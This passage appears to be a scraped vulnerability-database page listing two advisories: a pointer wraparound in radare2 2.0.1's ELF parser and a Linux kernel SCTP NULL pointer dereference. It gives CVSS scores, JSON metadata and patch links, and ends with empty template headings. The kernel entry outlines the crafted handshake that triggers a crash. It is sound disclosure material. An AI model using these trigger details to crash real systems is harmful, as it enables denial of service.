  ]
}

GHSA-GC9V-8HGH-Q477

Vulnerability from github – Published: 2022-05-17 00:24 – Updated: 2022-05-17 00:24

Details

In radare 2.0.1, a pointer wraparound vulnerability exists in store_versioninfo_gnu_verdef() in libr/bin/format/elf/elf.c.

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-16359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-01T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In radare 2.0.1, a pointer wraparound vulnerability exists in store_versioninfo_gnu_verdef() in libr/bin/format/elf/elf.c.",
  "id": "GHSA-gc9v-8hgh-q477",
  "modified": "2022-05-17T00:24:41Z",
  "published": "2022-05-17T00:24:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/radare/radare2/issues/8764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/radare/radare2/commit/62e39f34b2705131a2d08aff0c2e542c6a52cf0e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/radare/radare2/commit/d21e91f075a7a7a8ed23baa5c1bb1fac48313882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/radare/radare2/commit/fbaf24bce7ea4211e4608b3ab6c1b45702cb243d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCJX-XXQ3-676C

Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18

Details

The sctp_sf_do_5_1D_ce function in net/sctp/sm_statefuns.c in the Linux kernel through 3.13.6 does not validate certain auth_enable and auth_capable fields before making an sctp_sf_authenticate call, which allows remote attackers to cause a denial of service (NULL pointer dereference and system crash) via an SCTP handshake with a modified INIT chunk and a crafted AUTH chunk before a COOKIE_ECHO chunk.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-0101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-03-11T13:01:00Z",
    "severity": "HIGH"
  },
  "details": "The sctp_sf_do_5_1D_ce function in net/sctp/sm_statefuns.c in the Linux kernel through 3.13.6 does not validate certain auth_enable and auth_capable fields before making an sctp_sf_authenticate call, which allows remote attackers to cause a denial of service (NULL pointer dereference and system crash) via an SCTP handshake with a modified INIT chunk and a crafted AUTH chunk before a COOKIE_ECHO chunk.",
  "id": "GHSA-gcjx-xxq3-676c",
  "modified": "2022-05-13T01:18:06Z",
  "published": "2022-05-13T01:18:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/ec0223ec48a90cb605244b45f7c62de856403729"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0328"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0419"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0432"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2014:0520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2014-0101"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1070705"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=ec0223ec48a90cb605244b45f7c62de856403729"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ec0223ec48a90cb605244b45f7c62de856403729"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0328.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0419.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0432.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59216"
    },
    {
      "type": "WEB",
      "url": "http://support.f5.com/kb/en-us/solutions/public/15000/300/sol15317.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/03/04/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/65943"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2173-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2174-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

CWE-476

NULL Pointer Dereference

GHSA-G9R6-QHFX-9XCC

GHSA-GC5P-R2VH-QC88

GHSA-GC78-RVWJ-3H3P

GHSA-GC7J-G665-RXR9

Summary

Details

PoC

Credit

GHSA-GC88-72MR-V2HG

GHSA-GC8H-W3QG-MPCQ

GHSA-GC8M-9GPV-3RPR

GHSA-GC8P-JVX2-7658

GHSA-GC9V-8HGH-Q477

GHSA-GCJX-XXQ3-676C

Mitigation MIT-56

Mitigation

Mitigation

Mitigation

Mitigation